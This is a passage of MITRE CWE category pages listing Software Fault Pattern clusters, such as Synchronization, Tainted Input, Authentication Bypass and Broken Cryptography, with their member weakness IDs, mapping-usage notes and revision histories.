This category identifies Software Fault Patterns (SFPs) within the Risky Values cluster (SFP1).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Risky Values

CWE CATEGORY: SFP Primary Cluster: Synchronization

Category ID: 894
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Synchronization cluster (SFP19, SFP20, SFP21, SFP22).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.986SFP Secondary Cluster: Missing Lock
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.987SFP Secondary Cluster: Multiple Locks/Unlocks
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.988SFP Secondary Cluster: Race Condition Window
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.989SFP Secondary Cluster: Unrestricted Lock
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Synchronization

CWE CATEGORY: SFP Primary Cluster: Tainted Input

Category ID: 896
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Tainted Input cluster (SFP24, SFP25, SFP26, SFP27).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.991SFP Secondary Cluster: Tainted Input to Environment
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.994SFP Secondary Cluster: Tainted Input to Variable
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Tainted Input

CWE CATEGORY: SFP Primary Cluster: UI

Category ID: 906
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the UI cluster.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.995SFP Secondary Cluster: Feature
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.996SFP Secondary Cluster: Security
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.997SFP Secondary Cluster: Information Loss
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: UI

CWE CATEGORY: SFP Primary Cluster: Unused entities

Category ID: 886
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Unused entities cluster (SFP2).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.482Comparing instead of Assigning
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.561Dead Code
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.563Assignment to Variable without Use
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Unused entities

CWE CATEGORY: SFP Secondary Cluster: Access Management

Category ID: 944
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Access Management cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.899SFP Primary Cluster: Access Control
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.282Improper Ownership Management
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.283Unverified Ownership
HasMemberPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.286Incorrect User Management
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.708Incorrect Ownership Assignment
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Ambiguous Exception Type

Category ID: 960
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Ambiguous Exception Type cluster (SFP5).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.889SFP Primary Cluster: Exception Management
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.396Declaration of Catch for Generic Exception
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.397Declaration of Throws for Generic Exception
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Architecture

Category ID: 975
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Architecture cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.907SFP Primary Cluster: Other
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.348Use of Less Trusted Source
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.359Exposure of Private Personal Information to an Unauthorized Actor
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.602Client-Side Enforcement of Server-Side Security
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.637Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.649Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.654Reliance on a Single Factor in a Security Decision
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.656Reliance on Security Through Obscurity
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.657Violation of Secure Design Principles
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.671Lack of Administrator Control over Security
HasMemberPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.749Exposed Dangerous Method or Function
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Authentication Bypass

Category ID: 947
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Authentication Bypass cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.898SFP Primary Cluster: Authentication
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.287Improper Authentication
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.288Authentication Bypass Using an Alternate Path or Channel
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.289Authentication Bypass by Alternate Name
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.303Incorrect Implementation of Authentication Algorithm
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.304Missing Critical Step in Authentication
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.305Authentication Bypass by Primary Weakness
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.308Use of Single-factor Authentication
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.309Use of Password System for Primary Authentication
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.603Use of Client-Side Authentication
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2017-05-03CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Broken Cryptography

Category ID: 958
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Broken Cryptography cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.903SFP Primary Cluster: Cryptography
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.325Missing Cryptographic Step
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.327Use of a Broken or Risky Cryptographic Algorithm
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.328Use of Weak Hash
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.759Use of a One-Way Hash without a Salt
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.760Use of a One-Way Hash with a Predictable Salt
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Channel Attack

Category ID: 956
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Channel Attack cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.902SFP Primary Cluster: Channel
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.290Authentication Bypass by Spoofing
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.294Authentication Bypass by Capture-replay
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.300Channel Accessible by Non-Endpoint
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.301Reflection Attack in an Authentication Protocol
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.419Unprotected Primary Channel
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.420Unprotected Alternate Channel
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.421Race Condition During Access to Alternate Channel
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.441Unintended Proxy or Intermediary ('Confused Deputy')
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Compiler

Category ID: 976
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Compiler cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.907SFP Primary Cluster: Other
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.733Compiler Optimization Removal or Modification of Security-critical Code
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Covert Channel

Category ID: 968
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Covert Channel cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.904SFP Primary Cluster: Malware
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.385Covert Timing Channel
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.514Covert Channel
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.515Covert Storage Channel
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Design

Category ID: 977
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Design cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.907SFP Primary Cluster: Other
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.115Misinterpretation of Input
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.187Partial String Comparison
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.188Reliance on Data/Memory Layout
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.193Off-by-one Error
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.349Acceptance of Extraneous Untrusted Data With Trusted Data
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.405Asymmetric Resource Consumption (Amplification)
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.406Insufficient Control of Network Message Volume (Network Amplification)
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.407Inefficient Algorithmic Complexity
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.408Incorrect Behavior Order: Early Amplification
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.409Improper Handling of Highly Compressed Data (Data Amplification)
